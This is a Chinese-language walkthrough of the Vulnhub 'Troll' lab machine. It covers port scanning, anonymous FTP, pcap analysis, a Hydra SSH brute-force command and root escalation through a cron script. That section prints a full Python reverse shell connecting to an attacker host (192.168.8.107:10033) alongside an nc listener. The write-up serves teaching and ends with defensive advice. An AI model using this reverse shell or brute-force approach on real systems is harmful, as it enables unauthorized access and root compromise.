[Vulnhub] Troll FTP匿名登录+定时任务权限提升
字数 1125 2025-08-19 12:41:03
Vulnhub Troll靶机渗透测试教学文档
1. 信息收集阶段
1.1 主机发现与端口扫描
使用Nmap进行全端口扫描:
nmap -sC -sV 192.168.8.104 -p- --min-rate 1000
扫描结果:
- 开放端口:
- 21/tcp: FTP (vsftpd 3.0.2)
- 22/tcp: SSH (OpenSSH 6.6.1p1 Ubuntu)
- 80/tcp: HTTP (Apache 2.4.7)
1.2 服务详情分析
FTP服务分析
- 允许匿名登录(FTP code 230)
- 可写文件:
lol.pcap(权限777) - 服务器信息:vsFTPd 3.0.2
HTTP服务分析
- robots.txt中有一个禁止目录:
/secret - 网站标题为空
- 发现隐藏目录:
/sup3rs3cr3tdirlol/
2. 渗透测试过程
2.1 FTP匿名登录
ftp 192.168.8.104
# 用户名输入anonymous,密码可为空
下载发现的pcap文件:
get lol.pcap
2.2 分析pcap文件
使用Wireshark分析lol.pcap文件:
- 发现HTTP流量
- 追踪TCP流发现提示信息:
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P Sucks, you were so close... gotta TRY HARDER! - 发现隐藏路径:
http://192.168.8.104/sup3rs3cr3tdirlol/
2.3 Web目录枚举
访问发现的隐藏目录:
curl http://192.168.8.104/sup3rs3cr3tdirlol/
发现可能包含用户名和密码的文件
2.4 SSH爆破尝试
使用Hydra进行SSH爆破:
hydra -s 22 -v -V -L user.txt -p "Good_job_:)" -e n -t 1 -w 30 192.168.8.104 ssh
注意:
- 服务器会检测爆破行为并封禁IP
- 测试发现密码不正确
尝试其他密码文件:
ssh overflow@192.168.8.104
# 密码尝试:Pass.txt
成功登录,但两分钟后会被自动踢下线
2.5 本地信息收集
登录后查看本地文件:
cat Local.txt
内容:d637cc968971b87d5b575ddfe2d50408
3. 权限提升
3.1 查找定时任务
find / -name cleaner.py
发现路径:/lib/log/cleaner.py
3.2 分析定时任务脚本
查看脚本内容:
ls -la /lib/log/cleaner.py
nano /lib/log/cleaner.py
脚本内容:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.8.107",10033));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/sh")
这是一个反向shell脚本,连接到攻击者的192.168.8.107主机的10033端口
3.3 利用定时任务提权
- 在攻击机上设置监听:
nc -lvnp 10033
- 等待定时任务执行(约两分钟)后获得root shell
3.4 获取root flag
cat /root/Proot
内容:76535a590a2cd3cc48faa472c3831914
4. 关键点总结
- FTP匿名登录:vsftpd允许匿名访问,发现关键pcap文件
- 网络流量分析:通过Wireshark分析pcap发现隐藏目录提示
- 目录枚举:发现隐藏路径
/sup3rs3cr3tdirlol/获取凭据 - SSH登录:使用发现的凭据登录但会话有限制
- 定时任务利用:发现并利用
cleaner.py脚本获取root权限
5. 防御建议
- 禁用FTP匿名登录
- 限制敏感目录的web访问权限
- 使用更复杂的SSH密码策略
- 监控和限制定时任务的执行权限
- 定期审计系统上的脚本和计划任务